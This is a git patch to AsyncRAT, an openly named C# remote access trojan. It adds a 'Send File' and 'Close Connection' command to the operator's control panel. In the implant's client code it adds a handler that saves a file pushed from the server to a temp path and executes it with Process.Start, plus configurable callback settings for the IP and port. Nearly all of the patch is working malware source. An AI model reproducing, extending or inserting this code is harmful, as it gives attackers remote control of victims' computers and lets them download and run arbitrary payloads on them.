From 8341990c59f6a2f5b24f0383f64aa92fe9a9c6ad Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 26 Jan 2019 02:52:06 -0800 Subject: [PATCH] Update 0.2 --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs | 27 ++++++++-- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 52 +++++++++++++++++-- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 1 + AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 14 +++-- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 6 +-- AsyncRAT-C#/Client/Program.cs | 30 ++++++++++- README.md | 2 +- 7 files changed, 112 insertions(+), 20 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs index 2ad47f1..e8e86e6 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs @@ -35,6 +35,8 @@ this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sendFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); @@ -81,17 +83,33 @@ // this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.sendMessageToolStripMenuItem}); + this.sendMessageToolStripMenuItem, + this.sendFileToolStripMenuItem, + this.closeConnectionToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(200, 34); + this.contextMenuStrip1.Size = new System.Drawing.Size(223, 94); // // sendMessageToolStripMenuItem // this.sendMessageToolStripMenuItem.Name = "sendMessageToolStripMenuItem"; - this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(199, 30); + this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(222, 30); this.sendMessageToolStripMenuItem.Text = "Send Message"; this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click); // + // sendFileToolStripMenuItem + // + this.sendFileToolStripMenuItem.Name = "sendFileToolStripMenuItem"; + this.sendFileToolStripMenuItem.Size = new System.Drawing.Size(222, 30); + this.sendFileToolStripMenuItem.Text = "Send File"; + this.sendFileToolStripMenuItem.Click += new System.EventHandler(this.sendFileToolStripMenuItem_Click); + // + // closeConnectionToolStripMenuItem + // + this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; + this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(222, 30); + this.closeConnectionToolStripMenuItem.Text = "Close Connection"; + this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click); + // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); @@ -123,6 +141,7 @@ this.Controls.Add(this.listView1); this.Controls.Add(this.statusStrip1); this.Name = "Form1"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "AsyncRAT-Sharp // NYAN CAT"; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); @@ -145,6 +164,8 @@ private System.Windows.Forms.StatusStrip statusStrip1; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; private System.Windows.Forms.Timer ping; + private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index 029a639..c33fdad 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -7,6 +7,7 @@ using Microsoft.VisualBasic; using System.Linq; using System.Threading; using System.Drawing; +using System.IO; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -29,7 +30,7 @@ namespace AsyncRAT_Sharp Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.Start(Settings.Port); - + this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version); while (true) { await Task.Delay(1000); @@ -47,7 +48,7 @@ namespace AsyncRAT_Sharp else { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "MessageBox"; + msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Message").AsString = URL; foreach (ListViewItem C in listView1.SelectedItems) { @@ -60,6 +61,49 @@ namespace AsyncRAT_Sharp } } + private void sendFileToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + OpenFileDialog O = new OpenFileDialog(); + if (O.ShowDialog() == DialogResult.OK) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "sendFile"; + msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Empty; + } + } + } + catch { } + } + } + + private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "closeConnection"; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Empty; + } + } + } + + private void ping_Tick(object sender, EventArgs e) { if (Settings.Online.Count > 0) @@ -100,5 +144,7 @@ namespace AsyncRAT_Sharp listView1.Items[hitInfo.Item.Index].Selected = true; } } + + } -} \ No newline at end of file +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 32242f4..9f39c9e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -7,5 +7,6 @@ namespace AsyncRAT_Sharp { public static List Online = new List(); public static int Port = 8080; + public static string Version = "0.2"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 0606afe..191aef8 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -12,13 +12,13 @@ namespace AsyncRAT_Sharp.Sockets class Clients { public Socket Client { get; set; } - public byte[] Buffer { get; set; } - public long Buffersize { get; set; } - public bool BufferRecevied { get; set; } - public MemoryStream MS { get; set; } + private byte[] Buffer { get; set; } + private long Buffersize { get; set; } + private bool BufferRecevied { get; set; } + private MemoryStream MS { get; set; } public ListViewItem LV { get; set; } - public event ReadEventHandler Read; - public delegate void ReadEventHandler(Clients client, byte[] data); + private event ReadEventHandler Read; + private delegate void ReadEventHandler(Clients client, byte[] data); public Clients(Socket CLIENT) { @@ -135,7 +135,6 @@ namespace AsyncRAT_Sharp.Sockets } catch (Exception ex) { - Debug.WriteLine("BeginSend " + ex.Message); Disconnected(); } } @@ -149,7 +148,6 @@ namespace AsyncRAT_Sharp.Sockets } catch (Exception ex) { - Debug.WriteLine("EndSend " + ex.Message); Disconnected(); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index a6e44a8..1fefc2a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -9,8 +9,8 @@ namespace AsyncRAT_Sharp.Sockets { class Listener { - public Socket listener { get; set; } - public static ManualResetEvent allDone = new ManualResetEvent(false); + private Socket listener { get; set; } + private static ManualResetEvent allDone = new ManualResetEvent(false); public void Connect(object port) { @@ -39,7 +39,7 @@ namespace AsyncRAT_Sharp.Sockets } } - public void EndAccept(IAsyncResult ar) + private void EndAccept(IAsyncResult ar) { try { diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 5116cdb..de3581b 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -19,6 +19,13 @@ using System.Windows.Forms; namespace Client { + class Settings + { + public static string IP = "127.0.0.1"; + public static int Port = 8080; + public static string Version = "0.2"; + } + class Program { public static Socket client { get; set; } @@ -46,7 +53,7 @@ namespace Client client.SendBufferSize = 50 * 1024; client.ReceiveTimeout = -1; client.SendTimeout = -1; - client.Connect("127.0.0.1", 8080); + client.Connect(Settings.IP, Settings.Port); Debug.WriteLine("Connected!"); Buffer = new byte[1]; Buffersize = 0; @@ -163,7 +170,7 @@ namespace Client unpack_msgpack.DecodeFromBytes((byte[])Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { - case "MessageBox": + case "sendMessage": { MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); } @@ -174,6 +181,25 @@ namespace Client Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); } break; + + case "sendFile": + { + string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; + unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath); + Process.Start(FullPath); + } + break; + + case "closeConnection": + { + try + { + client.Shutdown(SocketShutdown.Both); + } + catch { } + Environment.Exit(0); + } + break; } } diff --git a/README.md b/README.md index 038a082..43d9e09 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ - + # AsyncRAT